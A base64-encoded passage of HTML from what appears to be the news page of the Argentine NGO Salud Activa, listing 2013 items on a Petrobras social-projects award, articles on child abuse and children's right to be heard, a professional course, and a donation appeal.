yZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDgiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTIwNzIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xMi8wNy8yMDEzPC9zcGFuPjxicj5TQUxVRCBBQ1RJVkEgaGEgc2lkbyBlbGVnaWRhIHBvciBzZWd1bmRhIHZleiBjb25zZWN1dGl2YSBjb21vIHVubyBkZSBsb3MgZ2FuYWRvcmVzIGRlbCBDdWFydG8gQ29uY3Vyc28gZGUgUHJveWVjdG9zIFNvY2lhbGVzIGRlIFBldHJvYnJhczwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIiB2YWxpZ249InRvcCI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18wMV8xOS5qcGciIHdpZHRoPSI3IiBoZWlnaHQ9IjcxIiAvPjwvdGQ+CiAgICAgICAgICAgICAgICA8dGQgdmFsaWduPSJ0b3AiPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIGhlaWdodD0iODUiIGNvbHNwYW49IjQiIHZhbGlnbj0idG9wIiBjbGFzcz0idGV4dG9udWV2byI+PHA+RW4gZWwgbWFyY28gZGVsIEN1YXJ0byBDb25jdXJzbyBkZSBQcm95ZWN0b3MgU29jaWFsZXMgZGUgUGV0cm9icmFzLCANCm51ZXN0cmEgSW5zdGl0dWNpJm9hY3V0ZTtuIFNBTFVEIEFDVElWQSBoYSBzaWRvIGVsZWdpZGEgcG9yIHNlZ3VuZGEgdmV6IA0KY29uc2VjdXRpdmEgY29tbyB1bm8gZGUgbG9zIGdhbmFkb3JlcyBkZSBkaWNobyBjb25jdXJzby48YnIgLz5FbiBlc3RhIA0KZWRpY2kmb2FjdXRlO24gZWwgcHJveWVjdG8gcXVlIGhhIHNpZG8gZWxlZ2lkbyBlcyBlbCAmbGRxdW87UHJvZ3JhbWEgZGUgRmFtaWxpYXMgDQpTb2xpZGFyaWFzJnJkcXVvOyBzaWVuZG8gc3UgJmFhY3V0ZTtyZWEgZGUgaW1wbGVtZW50YWNpJm9hY3V0ZTtuIGxvcyBNdW5pY2lwaW9zIGRlIE5hdmFycm8sIA0KR3JhbC4gTGFzIEhlcmFzLCBNYXJjb3MgUGF6LCB5IE1lcmxvPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjAyLzA3LzIwMTM8L3NwYW4+PGJyPk/tciBvIGVzY3VjaGFyPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5Qb3IgQ2FybG9zIFJvemFuc2tpICo8L3A+DQo8cD5BIGxvIGxhcmdvIGRlIGxvcyBzaWdsb3MsIGxhcyBuaSZudGlsZGU7YXMsIG5pJm50aWxkZTtvcyB5IGFkb2xlc2NlbnRlcyBoYW4gc2lkbyBtYWx0cmF0YWRvcyB5IGFidXNhZG9zIHNpbiBxdWUgYSBsYSBjb211bmlkYWQgbGUgaW50ZXJlc2FyYSBuaSBzaXF1aWVyYSBlc2N1Y2hhcmxvcyBjdWFuZG8gaGFjJmlhY3V0ZTthbiBzYWJlciBkZSBhbGd1bmEgZm9ybWEgbG9zIHN1ZnJpbWllbnRvcyBxdWUgcGFkZWMmaWFjdXRlO2FuLiBFbiAxODc0LCBlbiBFc3RhZG9zIFVuaWRvcywgZnVlIGxhIHByaW1lcmEgdmV6IHF1ZSBlbCBFc3RhZG8gaW50ZXJ2aW5vIGVuIHVuIGNhc28gZGUgbWFsdHJhdG8geSBhYnVzby4uLjwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDYiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNiI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4wMi8wNy8yMDEzPC9zcGFuPjxicj5FbCBkZXJlY2hvIGRlIGxvcyBuafFvcyBhIHNlciBlc2N1Y2hhZG9zPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5VbiBob21icmUgYWN1c2FkbyBkZSBoYWJlciBhYnVzYWRvIGRlIHN1cyBoaWpvcyBoYWImaWFjdXRlO2Egc2lkbyBzb2JyZXNlJmlhY3V0ZTtkbyBkb3MgdmVjZXMgcG9yIGxhIEp1c3RpY2lhLiBQZXJvIGFob3JhLCBsYSBDJmFhY3V0ZTttYXJhIGRlIENhc2FjaSZvYWN1dGU7biByZXZvYyZvYWN1dGU7IGVzYSBkZWNpc2kmb2FjdXRlO24gcG9ycXVlIGVuIGxhIGludmVzdGlnYWNpJm9hY3V0ZTtuIGVsIGp1ZXogbnVuY2EgaGFiJmlhY3V0ZTthIGVzY3VjaGFkbyBhIGxvcyBjaGljb3MuIFkgb3JkZW4mb2FjdXRlOyBxdWUgdGVuZ2EgZW4gY3VlbnRhIGxvIHF1ZSBkaWNlbi48L3A+DQo8cD5Qb3IgTWFyaWFuYSBDYXJiYWphbDwvcD48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxOSUiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDUiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMTkuanBnIiB3aWR0aD0iNzUiIGhlaWdodD0iNDEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjYwJSI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjElIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaHR0cDovL3d3dy5zYWx1ZGFjdGl2YS5vcmcuYXIvaW5kZXgucGhwP2lkPTE3Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIxLmpwZyIgd2lkdGg9IjUzIiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjxhIGhyZWY9IiMiPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAlIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwNSI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMi5qcGciIHdpZHRoPSI3OCIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjMiIGJhY2tncm91bmQ9ImltZy9yZWRpc2Vub18yNi5qcGciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjYuanBnIiB3aWR0aD0iMiIgaGVpZ2h0PSIyIiAvPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgPC90YWJsZT48L3RkPgogICAgICAgICAgPC90cj4KCQkgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgIDx0ZD48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE1NiIgcm93c3Bhbj0iMiIgdmFsaWduPSJ0b3AiPgoJCQkJCgkJCQk8dGFibGUgd2lkdGg9IjMyJSIgYm9yZGVyPSIxIiBjZWxsc3BhY2luZz0iMyIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48aW1nIHNyYz0ic3JjL2ltZ191cC8wNjA2MjAxMy4xLmpwZyIgd2lkdGg9IjE0NiIgLz48L3RkPgogICAgICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgICAgPC90YWJsZT4KCQkJCQkJCQk8L3RkPiAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjEzIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIzODEiIGhlaWdodD0iMzAiIGNsYXNzPSJ0aXR1bG9ob21lMSI+PHNwYW4gY2xhc3M9ImRlc3RhY2Fkb3MiPjA2LzA2LzIwMTM8L3NwYW4+PGJyPkFidXNvIHNleHVhbCBpbmZhbnRpbC4gRGVzYWZpb3MgZGUgbGEgY2xpbmljYSBhY3R1YWw8L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyIgdmFsaWduPSJ0b3AiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMDFfMTkuanBnIiB3aWR0aD0iNyIgaGVpZ2h0PSI3MSIgLz48L3RkPgogICAgICAgICAgICAgICAgPHRkIHZhbGlnbj0idG9wIj48dGFibGUgd2lkdGg9IjEwMCUiIGJvcmRlcj0iMCIgY2VsbHNwYWNpbmc9IjAiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCBoZWlnaHQ9Ijg1IiBjb2xzcGFuPSI0IiB2YWxpZ249InRvcCIgY2xhc3M9InRleHRvbnVldm8iPjxwPkFiaWVydGEgbGEgaW5zY3JpcGNpb248L3A+DQo8cD5Eb2NlbnRlczogTGljLiBNYXJpYSBCZWF0cml6IE0mdXVtbDtsbGVyLiBMaWMuIFBhb2xhIE11Jm50aWxkZTtveiBEdWFydGU8L3A+DQo8cD5JbmljaW86IE1pZXJjb2xlcyAxOSBkZSBKdW5pbzwvcD4NCjxwPkZyZWN1ZW5jaWE6IFNlbWFuYWw8L3A+DQo8cD5Nb2RhbGlkYWQ6IEludGVuc2l2YTwvcD4NCjxwPkNvbnRlbmlkb3M6ICZuYnNwOyBFc3RhIGRlc3RpbmFkbyBhIHRvZG9zIGxvcyBwcm9mZXNpb25hbGVzIGNvbXByb21ldGlkb3MgY29uIGxhIHRlbWF0aWNhIGRlbCBhYnVzbyBpbmZhbnRpbCBxdWUgcXVpZXJhbiBhY3R1YWxpemFyc2UgZSBpbnRlcmNhbWJpYXIgZXhwZXJpZW5jaWFzIGRlIHRyYWJham8uLi48L3A+DQo8cD4mbmJzcDs8L3A+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTklIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzA0Ij48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzE5LmpwZyIgd2lkdGg9Ijc1IiBoZWlnaHQ9IjQxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSI2MCUiPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9Imh0dHA6Ly93d3cuc2FsdWRhY3RpdmEub3JnLmFyL2luZGV4LnBocD9pZD0xNyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yMS5qcGciIHdpZHRoPSI1MyIgaGVpZ2h0PSIyMSIgYm9yZGVyPSIwIiAvPjwvYT48YSBocmVmPSIjIj48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjIwJSIgdmFsaWduPSJ0b3AiPjxhIGhyZWY9ImluZGV4LnBocD9pZD0xNF9uZXcmbm90YT0zMDQiPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjIuanBnIiB3aWR0aD0iNzgiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCBjb2xzcGFuPSIzIiBiYWNrZ3JvdW5kPSJpbWcvcmVkaXNlbm9fMjYuanBnIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzI2LmpwZyIgd2lkdGg9IjIiIGhlaWdodD0iMiIgLz48L3RkPgogICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgIDwvdGFibGU+PC90ZD4KICAgICAgICAgIDwvdHI+CgkJICAgICAgICAgICAgPHRyPgogICAgICAgICAgICA8dGQ+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxNTYiIHJvd3NwYW49IjIiIHZhbGlnbj0idG9wIj4KCQkJCQoJCQkJPHRhYmxlIHdpZHRoPSIzMiUiIGJvcmRlcj0iMSIgY2VsbHNwYWNpbmc9IjMiIGNlbGxwYWRkaW5nPSIwIj4KICAgICAgICAgICAgICAgICAgPHRyPgogICAgICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PGltZyBzcmM9InNyYy9pbWdfdXAvMTYwNTIwMTMuMC5qcGciIHdpZHRoPSIxNDYiIC8+PC90ZD4KICAgICAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICAgIDwvdGFibGU+CgkJCQkJCQkJPC90ZD4gICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMyI+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMzgxIiBoZWlnaHQ9IjMwIiBjbGFzcz0idGl0dWxvaG9tZTEiPjxzcGFuIGNsYXNzPSJkZXN0YWNhZG9zIj4xNi8wNS8yMDEzPC9zcGFuPjxicj5TYWx1ZCBBY3RpdmEgbmVjZXNpdGEgZGUgdHUgYXl1ZGEhPC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMTMiIHZhbGlnbj0idG9wIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzAxXzE5LmpwZyIgd2lkdGg9IjciIGhlaWdodD0iNzEiIC8+PC90ZD4KICAgICAgICAgICAgICAgIDx0ZCB2YWxpZ249InRvcCI+PHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxzcGFjaW5nPSIwIiBjZWxscGFkZGluZz0iMCI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgaGVpZ2h0PSI4NSIgY29sc3Bhbj0iNCIgdmFsaWduPSJ0b3AiIGNsYXNzPSJ0ZXh0b251ZXZvIj48cD5UcmFiYWphbW9zIGNvbW8gcG9kZW1vczogYmEmbnRpbGRlO29zIHJvdG9zLCBzdXNwZW5zaSZvYWN1dGU7biBkZSByZXVuaW9uZXMgcG9yIGNvcnRlcyBkZSBsdXogeSBhZ3VhLCBqdWd1ZXRlcyB2aWVqb3MsIG1lc2VzIGRlIGF0cmFzbyBlbiBlbCBwYWdvIGRlIHN1cyBwcm9mZXNpb25hbGVzIGRlIGxhIHNhbHVkLiBSZWNpZW50ZW1lbnRlIHR1dmltb3MgcXVlIGNlcnJhciBudWVzdHJvIHF1ZXJpZG8gSG9nYXI6ICZsZHF1bztNZXRhbW9yZm9zaXMmcmRxdW87IGVyYSBlbCBsdWdhciBxdWUgc3VwbyBjb250ZW5lciBhIG5pJm50aWxkZTthcyB5IGomb2FjdXRlO3ZlbmVzIHJlc2NhdGFkYSBkZSByZWRlcyBkZSB0cmF0YSBvIHYmaWFjdXRlO2N0aW1hcyBkZSBhYnVzbyBpbnRyYWZhbWlsaWFyLi4uPC9wPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICAgICAgICA8dGQgd2lkdGg9IjE5JSI+PGEgaHJlZj0iaW5kZXgucGhwP2lkPTE0X25ldyZub3RhPTMwMyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18xOS5qcGciIHdpZHRoPSI3NSIgaGVpZ2h0PSI0MSIgYm9yZGVyPSIwIiAvPjwvYT48L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNjAlIj4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMSUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJodHRwOi8vd3d3LnNhbHVkYWN0aXZhLm9yZy5hci9pbmRleC5waHA/aWQ9MTciPjxpbWcgc3JjPSJpbWcvcmVkaXNlbm9fMjEuanBnIiB3aWR0aD0iNTMiIGhlaWdodD0iMjEiIGJvcmRlcj0iMCIgLz48L2E+PGEgaHJlZj0iIyI+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIyMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSJpbmRleC5waHA/aWQ9MTRfbmV3Jm5vdGE9MzAzIj48aW1nIHNyYz0iaW1nL3JlZGlzZW5vXzIyLmpwZyIgd2lkdGg9Ijc4IiBoZWlnaHQ9IjIxIiBib3JkZXI9IjAiIC8+PC9hPjwvdGQ+CiAgICAgICAgICAgICAgICAgIDwvdHI+CiAgICAgICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQ+Jm5ic3A7PC90ZD4KICAgICAgICAgICAgICAgIDx0ZD4mbmJzcDs8L3RkPgogICAgICAgICAgICAgICAgPHRkPiZuYnNwOzwvdGQ+CiAgICAgICAgICAgICAgPC90cj4KICAgICAgICAgICAgICA8dHI+CiAgICAgICAgICAgICAgICA8dGQgY29sc3Bhbj0iMyIgYmFja2dyb3VuZD0iaW1nL3JlZGlzZW5vXzI2LmpwZyI+PGltZyBzcmM9ImltZy9yZWRpc2Vub18yNi5qcGciIHdpZHRoPSIyIiBoZWlnaHQ9IjIiIC8+PC90ZD4KICAgICAgICAgICAgICA8L3RyPgogICAgICAgICAgICA8L3RhYmxlPjwvdGQ+CiAgICAgICAgICA8L3RyPgoJCSAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgPHRkPjx0YWJsZSB3aWR0aD0iMTAwJSIgYm9yZGVyPSIwIiBjZWxsc3BhY2luZz0iMCIgY2VsbHBhZGRpbmc9IjAiPgogICAgICAgICAgICAgIDx0cj4KICAgICAgICAgICAgICA